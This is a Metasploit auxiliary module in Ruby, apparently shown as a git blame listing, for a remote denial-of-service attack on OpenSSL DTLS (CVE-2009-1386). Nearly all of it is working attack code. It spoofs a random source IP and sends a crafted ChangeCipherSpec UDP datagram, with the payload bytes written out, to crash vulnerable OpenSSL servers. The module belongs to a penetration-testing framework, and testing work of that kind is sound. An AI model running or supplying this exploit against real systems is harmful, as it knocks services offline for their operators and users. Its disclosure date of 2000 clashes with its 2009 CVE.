2011-05-04 19:08:28 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-05-04 19:08:28 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Auxiliary::Dos
|
|
|
|
include Msf::Exploit::Capture
|
|
|
|
include Exploit::Remote::Tcp
|
2011-05-04 19:08:28 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-03-11 16:10:39 +00:00
|
|
|
'Name' => 'OpenSSL DTLS ChangeCipherSpec Remote DoS',
|
2013-08-30 21:28:54 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module performs a Denial of Service Attack against Datagram TLS in OpenSSL
|
|
|
|
version 0.9.8i and earlier. OpenSSL crashes under these versions when it recieves a
|
|
|
|
ChangeCipherspec Datagram before a ClientHello.
|
|
|
|
},
|
|
|
|
'Author' => [
|
|
|
|
'Jon Oberheide <jon[at]oberheide.org>', #original code
|
|
|
|
'theLightCosine' # metasploit module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2009-1386' ],
|
|
|
|
[ 'OSVDB', '55073'],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Apr 26 2000'))
|
2011-05-04 19:08:28 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
deregister_options('FILTER','PCAPFILE', 'INTERFACE', 'SNAPLEN', 'TIMEOUT')
|
|
|
|
end
|
2011-05-04 19:08:28 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
open_pcap
|
|
|
|
print_status("Creating DTLS ChangeCipherSpec Datagram...")
|
|
|
|
p = PacketFu::UDPPacket.new
|
|
|
|
p.ip_daddr = datastore['RHOST']
|
|
|
|
p.ip_src = rand(0x100000000)
|
|
|
|
p.ip_ttl = 44
|
|
|
|
p.udp_sport = 34060
|
|
|
|
p.udp_dport = datastore['RPORT'].to_i
|
|
|
|
p.payload = "\x14\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01"
|
|
|
|
p.recalc
|
|
|
|
print_status("Sending Datagram to target...")
|
|
|
|
capture_sendto(p, '255.255.255.255')
|
|
|
|
close_pcap
|
|
|
|
end
|
2011-05-04 19:08:28 +00:00
|
|
|
end
|